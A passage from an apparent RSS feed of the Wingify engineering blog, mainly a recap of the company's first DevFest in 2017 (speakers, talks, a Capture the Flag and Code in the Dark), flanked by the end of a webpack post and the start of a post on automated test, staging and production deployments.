before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Last but not the least - Stepping towards a long journey&lt;/h3&gt; &lt;p&gt;This was just the beginning of stepping towards researching different technologies and upgrading our tech stack. We have now gradually started writing &lt;code class=&quot;language-text&quot;&gt;ES6&lt;/code&gt; code for that particular project. The experience was tremendous and the team is now working on evaluating other sections where the change could gradually take a form.&lt;/p&gt; &lt;h3 id=&quot;helpful-resources&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#helpful-resources&quot; aria-label=&quot;helpful resources permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Helpful resources&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://blog.madewithenvy.com/getting-started-with-webpack-2-ed2b86c68783&quot;&gt;Getting Started with Webpack 2&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://www.codementor.io/drewpowers/high-performance-webpack-config-for-front-end-delivery-90sqic1qa&quot;&gt;Configuring webpack for production: High Performance webpack config&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;feedback&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#feedback&quot; aria-label=&quot;feedback permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Feedback&lt;/h3&gt; &lt;p&gt;Should you have any feedback regarding this article, please share your thoughts via comments.&lt;/p&gt; &lt;p&gt;If you like this article, do share it :)&lt;/p&gt;</content:encoded><author>Varun Malhotra</author></item><item><title><![CDATA[The First Wingify DevFest]]></title><description><![CDATA["What is the most resilient parasite? Bacteria? A virus? An intestinal worm? An idea. Resilient... highly contagious. Once an idea has taken…]]></description><link>https://engineering.wingify.com//posts/the-first-wingify-devfest/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/the-first-wingify-devfest/</guid><pubDate>Tue, 03 Oct 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/2017/10/devfest-banner.png&quot;&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&quot;What is the most resilient parasite? Bacteria? A virus? An intestinal worm? An idea. Resilient... highly contagious. Once an idea has taken hold of the brain it&apos;s almost impossible to eradicate. An idea that is fully formed - fully understood - that sticks; right in there somewhere.&quot; &lt;em&gt;-- Cobb(Leonardo DiCaprio), Inception&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;h3 id=&quot;what-is-devfest&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-is-devfest&quot; aria-label=&quot;what is devfest permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;What is DevFest?&lt;/h3&gt; &lt;p&gt;On September 9th we had the first instance of our Wingify DevFest. It started with a simple idea, to have a community of fellow techies where everyone could meet, learn something new, share ideas and inspire one another. But we didn&apos;t just want to end here. We wanted to have a day where people could celebrate and have a good time. Thus, the Wingify DevFest was born.&lt;/p&gt; &lt;h3 id=&quot;how-did-we-plan-for-it&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-did-we-plan-for-it&quot; aria-label=&quot;how did we plan for it permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How did we plan for it?&lt;/h3&gt; &lt;p&gt;Though the DevFest happened on 9th September, the preparations had started much before that. In fact, the whole structure of DevFest underwent drastic iterations since we&apos;d first started working on it. Initially, we had simply planned on having a set of internal team members of Wingify as speakers. The rationale behind this was, this being our first DevFest having internal speakers we would help us have a good grasp of the speakers and their content. It would also be easier to organize because we could skip the overhead of finding external speakers. This idea was soon scrapped because we would have had to compromise the interest of our teammates as most of the internal talks had already been watched by the team. The other extreme plan was to have all external speakers, which too was soon ruled out because of the logistics involved. We also knew that some of our own internal speakers had good content which the world should definitely see. Finally, we agreed upon having an all external speakers list and keep the internal speakers as backup, should the need arise any time. And thank God we did, because as you&apos;ll soon find out, we did have to use the fallback.&lt;/p&gt; &lt;p&gt;Amidst the initial confusion of finding the ideal number and type of speakers, there was still an extreme clarity within the organizing team about the other events that we wanted to have. More on that later.&lt;/p&gt; &lt;h3 id=&quot;deciding-on-the-theme&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#deciding-on-the-theme&quot; aria-label=&quot;deciding on the theme permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Deciding on the theme&lt;/h3&gt; &lt;p&gt;Organizing the first of a series always has its own set of challenges and uncertainties. For us, the main challenge, which was a crucial factor in almost all of our decision making, from the topic for the DevFest to even deciding what swag should we have, was identifying our target audience. Unlike some major tech cities like Bangalore, Hyderabad where the majority of folks are working professionals, Delhi has a beautiful eclectic mixture of working professionals and college students. In fact, the number of engineering colleges in Delhi are mind blowing. This translates to the fact that in most of the meetups and communities there&apos;s a mixture of both the streams. Extrapolating from this fact, we concluded that we too could expect a mixture of both the classes. The challenge with that was to find a theme suitable enough to resonate with all the members. &lt;strong&gt;Performance, Reliability and Security&lt;/strong&gt; was the perfect topic because everyone, at some point in the college/professional life, has had a requirement to know deeper about it. With a balanced set of talks on this theme, we could achieve a point which would keep both the parties interested.&lt;/p&gt; &lt;h3 id=&quot;picking-speakers&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#picking-speakers&quot; aria-label=&quot;picking speakers permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Picking speakers&lt;/h3&gt; &lt;p&gt;With the topic of the DevFest clear, finding speakers was the next challenge, or so we thought. On 27th July we started campaigns on several social media channels, meetups and also word of mouth to find the best tech speakers in Delhi. It was a 15-day campaign and by the time it ended we were ecstatic. There were more than 20 entries and some even tried to register after the deadline. Not bad for the first time 🙂. After several meetings and discussions, we finally narrowed down to 3 final speakers. We had even sent them the invitation. Too easy, we thought. One week before the event 2 of our speakers backed out because of inevitable issues. There was a DEFCON 1 emergency declared in our nation! Everyone went on a rampage. Well, maybe I&apos;m exaggerating a bit, it wasn&apos;t DEFCON 1 because we didn&apos;t have nuclear weapons, but you get the drift. In that frenzy we sought out the internal speakers. Things could&apos;ve gone really south if we didn&apos;t have an existing plan B. Though, we eventually ended up having four speakers instead of three because an earlier backed out speaker managed to join back and, so, we were more than happy to re-adjust the schedule. These were the speakers who finally spoke&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://twitter.com/atulagarwal&quot;&gt;Atul Agarwal&lt;/a&gt; (co-CEO, AdPushup) as the Keynote Speaker&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://twitter.com/shadyshandilya&quot;&gt;Saurabh Shandilya&lt;/a&gt; spoke on ToR 101&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://twitter.com/pathaniadeepak7&quot;&gt;Deepak Pathania&lt;/a&gt; spoke on Performance Optimization for the mobile web&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://twitter.com/hellonehha&quot;&gt;Neha Sharma&lt;/a&gt; spoke on Web apps and Performance&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://twitter.com/mgill25&quot;&gt;Manish Gill&lt;/a&gt; spoke on &lt;a href=&quot;https://speakerdeck.com/mgill25/lessons-in-scalability&quot;&gt;Gyaan in Scalability&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt; &lt;div id=&quot;devfest-speakers-gallery&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-speakers-1.jpg&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-speakers-2.jpg&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-speakers-3.jpg&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-speakers-4.jpg&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-speakers-5.jpg&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;organising-interactive-events&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#organising-interactive-events&quot; aria-label=&quot;organising interactive events permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Organising interactive events&lt;/h3&gt; &lt;p&gt;At Wingify, we frequently have internal technical events that keep our wits sharp. Since one of the inherent idea of the DevFest was to keep it interactive for everyone, what better way than to include a few of these events in the schedule as well. Selecting the events was as easy as looking back at list of previous year&apos;s events and adding the ones which were liked by majority of team members. The finalists were &lt;a href=&quot;http://engineering.wingify.com/posts/code-in-the-dark/&quot;&gt;Code in the Dark&lt;/a&gt; and &lt;a href=&quot;http://engineering.wingify.com/posts/wingify-capture-the-flag/&quot;&gt;Capture the Flag&lt;/a&gt;.&lt;/p&gt; &lt;h3 id=&quot;the-day&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-day&quot; aria-label=&quot;the day permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Day&lt;/h3&gt; &lt;p&gt;The day before &lt;strong&gt;The Day&lt;/strong&gt; we stayed back late in the office. The previous week had been taxing because of the whole speakers backing out fiasco and also because the organising team had been really busy releasing the new &lt;a href=&quot;https://vwo.com/&quot;&gt;VWO Conversion Optimization Platform&lt;/a&gt; to general public! Thus, there were several logistics that had to be taken care of on the last day. Everyone went late that day yet returned back early the next morning.&lt;/p&gt; &lt;p&gt;September 9th, our spirits were high. No, we weren&apos;t high (at least not until the events lasted), we were giddy. Everything was set. The initial slow pouring of the attendees soon gained pace and by 11 am our office was packed and ready for some action. It was a good mixture of energetic college folks and knowledgeable professionals, each trying to find like-minded counterparts to talk ideas. Thanks to &lt;a href=&quot;https://twitter.com/akashtyagi027&quot;&gt;Akash Tyagi&lt;/a&gt;, we had some really cool banners installed all over the place. In fact, right from the beginning he had been the guy who&apos;d designed the banners, logos and social media cards etc., which everyone greatly admired.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://twitter.com/atulagarwal&quot;&gt;Atul Agarwal&lt;/a&gt; had accepted our request to be the Keynote Speaker for the event. His talk on performance, reliability and security, was full of wisdom that he had garnered on his journey to make AdPushup a successful and formidable ad-revenue optimization company in its space. He went on about how most companies, in a haste to launch feature after feature, often forget the aspects of performance, reliability and security, which later bites them back. Sometimes overlooking such aspects costs companies a fortune and, even worse, respect of their clients.&lt;/p&gt; &lt;p&gt;Immediately succeeding him was &lt;a href=&quot;https://twitter.com/shadyshandilya&quot;&gt;Saurabh Shandilya&lt;/a&gt;, who spoke about the ToR network. His talk cleared some of the misconceptions that people have about ToR and through his articulate speech he managed to convince many people to try it out. Not only that, he even managed to convince some folks who&apos;d already tried it earlier and given up, to give it another shot.&lt;/p&gt; &lt;p&gt;Next in line was &lt;a href=&quot;https://twitter.com/pathaniadeepak7&quot;&gt;Deepak Pathania&lt;/a&gt;. Although Deepak says that it was his first ever talk, we have our doubts. We&apos;ve seen seasoned speakers get uncomfortable on the stage but Deepak didn&apos;t break a sweat. He spoke about the Google Amp project and why it&apos;s a viable optimization strategy for your mobile pages. He also went ahead and gave some example on how to quickly start a project with Google Amp.&lt;/p&gt; &lt;p&gt;With a quick lunch, after Deepak&apos;s talk, it was Capture the Flag time! &lt;a href=&quot;https://twitter.com/dheerajhere&quot;&gt;Dheeraj Joshi&lt;/a&gt; from the organising team, had managed to craft some mind-tickling questions for the participants to rack their brains on. For the next two hours everyone was glued to the event, trying to find ways to get to the hidden flags. At the end of the day, Capture the Flag turned out the be the star attraction of the DevFest.&lt;/p&gt; &lt;div id=&quot;devfest-capture-the-flag-gallery&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-ctf-1.jpg&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-ctf-2.JPG&quot;&gt; &lt;/div&gt; &lt;p&gt;Succeeding the CTF, was &lt;a href=&quot;https://twitter.com/hellonehha&quot;&gt;Neha Sharma&lt;/a&gt; who spoke about &lt;strong&gt;Web Apps and Performance&lt;/strong&gt;. Neha is a tech speaker and founder of the renowned JSLovers Community and we were lucky to have her in the list of speakers. Given the breadth of her topic and the limited time she had for her talk, she could only give an abridged snippet of how developers can improve their website&apos;s&apos; performance by using several best practices.&lt;/p&gt; &lt;p&gt;After Neha it was &lt;a href=&quot;https://twitter.com/mgill25&quot;&gt;Manish Gill&apos;s&lt;/a&gt; turn. Manish is a fellow Wingifighter who rose up to the challenge to speak at the DevFest when some external speakers had backed out. He works in the Data Layer team in Wingify, the team which manages the performance and scalability of data collection and retrieval aspect of our application. Having worked on challenging scalability problems and having experience in giving public talks, he was the ideal candidate to represent Wingify. Manish did deliver an insightful talk about how we&apos;ve used Postgres and Kafka to scale to the tune of 20k requests per second.&lt;/p&gt; &lt;p&gt;We finally finished the day with Code in the Dark. It was a long long day, and we&apos;re glad we chose to end with it. Our in-house DJ, &lt;a href=&quot;https://twitter.com/creativebakchod/&quot;&gt;Ashish Bardhan&lt;/a&gt;, played the best of the best Techno music that we could&apos;ve asked for. The dark settings along with the laser lights and the music set the right ambience to get the adrenaline pumping. It was intense! By the time the Code in the Dark ended everyone was rejuvenated.&lt;/p&gt; &lt;div id=&quot;devfest-code-in-the-dark-gallery&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-citd-1.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-citd-2.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-citd-3.JPG&quot;&gt; &lt;/div&gt; &lt;p&gt;All that, in one day. Achievement level: 50,000.&lt;/p&gt; &lt;h3 id=&quot;how-did-we-fare&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-did-we-fare&quot; aria-label=&quot;how did we fare permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How did we fare?&lt;/h3&gt; &lt;p&gt;There were many things we did well, and there were many things we could&apos;ve done better. Our sound system, definitely, frustrated some of the speakers and audience members. It malfunctioned multiple times and broke the flow of the speakers. We should&apos;ve also provided a visual timer for the speakers so they could keep a track of their talk. It wasn&apos;t the smoothest event, I agree but what doesn&apos;t kill you makes you stronger. With these learnings we&apos;ll be better prepared to have a smoother DevFest next time.&lt;/p&gt; &lt;p&gt;Some moments captured during the DevFest:&lt;/p&gt; &lt;div id=&quot;devfest-day-gallery&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-1.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-2.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-3.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-4.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-5.jpg&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-6.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-7.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-8.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-9.JPG&quot;&gt; &lt;img src=&quot;/images/2017/10/devfest-gallery-10.JPG&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h3&gt; &lt;p&gt;Our quest to have a community of like-minded people has just started. The first instance of the DevFest has been a stepping-stone for us and it&apos;ll only get better from here. Stay tuned for the next DevFest. It&apos;s going to be legen..... wait for it!&lt;/p&gt; &lt;p&gt;PS: A big shoutout to the members of the organising team; &lt;a href=&quot;https://twitter.com/akashtyagi027&quot;&gt;Akash Tyagi&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/dheerajhere&quot;&gt;Dheeraj Joshi&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/notjustbond&quot;&gt;Jatin Makhija&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/chinchang457&quot;&gt;Kushagra Gour&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/sahilbathla&quot;&gt;Sahil Bathla&lt;/a&gt; and also the volunteers for all the hard work they’ve put into making the DevFest a success.&lt;/p&gt;</content:encoded><author>Dinkar Pundir</author></item><item><title><![CDATA[Automated environment deployments]]></title><description><![CDATA[Shipping a bug-free feature is always important in every release. To ensure this, we do quality analysis(QA) at various points of the…]]></description><link>https://engineering.wingify.com//posts/automated-environment-deployments/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/automated-environment-deployments/</guid><pubDate>Fri, 22 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Shipping a bug-free feature is always important in every release. To ensure this, we do quality analysis(QA) at various points of the feature cycle. To facilitate an efficient QA, we also maintain certain environments for our app, each serving a different purpose. We have the following environments to be specific:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Production&lt;/strong&gt; - The actual live app.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Staging&lt;/strong&gt; - A replica of the production where final sign-off QA is done just before going live.&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Test&lt;/strong&gt; - A quick deployable environment which can be used by developers to share the WIP feature branch with anyone in the company or among other developers.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;With multiple features in development simultaneously and multiple environments to deploy, automated deployment becomes very important to ensure frictionless and fast feature lifecycle. In this post, I&apos;ll try to explain how to manage all these environment deployments through automation, especially for our product VWO.&lt;/p&gt; &lt;h2 id=&quot;tests&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#tests&quot; aria-label=&quot;tests permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Tests&lt;/h2&gt; &lt;p&gt;As mentioned above, &lt;em&gt;tests&lt;/em&gt; are very lightweight environments which developers generally create to share their WIP feature branch with other developers, QA or someone from marketing/product to gather feedback. Our app consists of various components: frontend, main-backend and various other micro-services. So each &lt;em&gt;test&lt;/em&gt; environment is a combination of different branches from each of the constituent components. For example our app have following components: frontend, backend and Service-1. So our &lt;em&gt;tests&lt;/em&gt; can look like:&lt;/p&gt; &lt;p&gt;Test #1 - &lt;em&gt;master&lt;/em&gt; (frontend) + &lt;em&gt;feature-notifications&lt;/em&gt; (backend) + &lt;em&gt;master&lt;/em&gt; (service-1)&lt;/p&gt; &lt;p&gt;Test #2 - &lt;em&gt;feature-auth&lt;/em&gt; (frontend) + &lt;em&gt;feature-auth&lt;/em&gt; (backend) + &lt;em&gt;master&lt;/em&gt; (service-1)&lt;/p&gt; &lt;p&gt;And as these &lt;em&gt;tests&lt;/em&gt; should have a unique sharable URL, they can be given names like: &lt;code class=&quot;language-text&quot;&gt;feat1.vwo.com&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;heatmap-optimizations.vwo.com&lt;/code&gt;&lt;/p&gt; &lt;h3 id=&quot;deployment&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#deployment&quot; aria-label=&quot;deployment permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 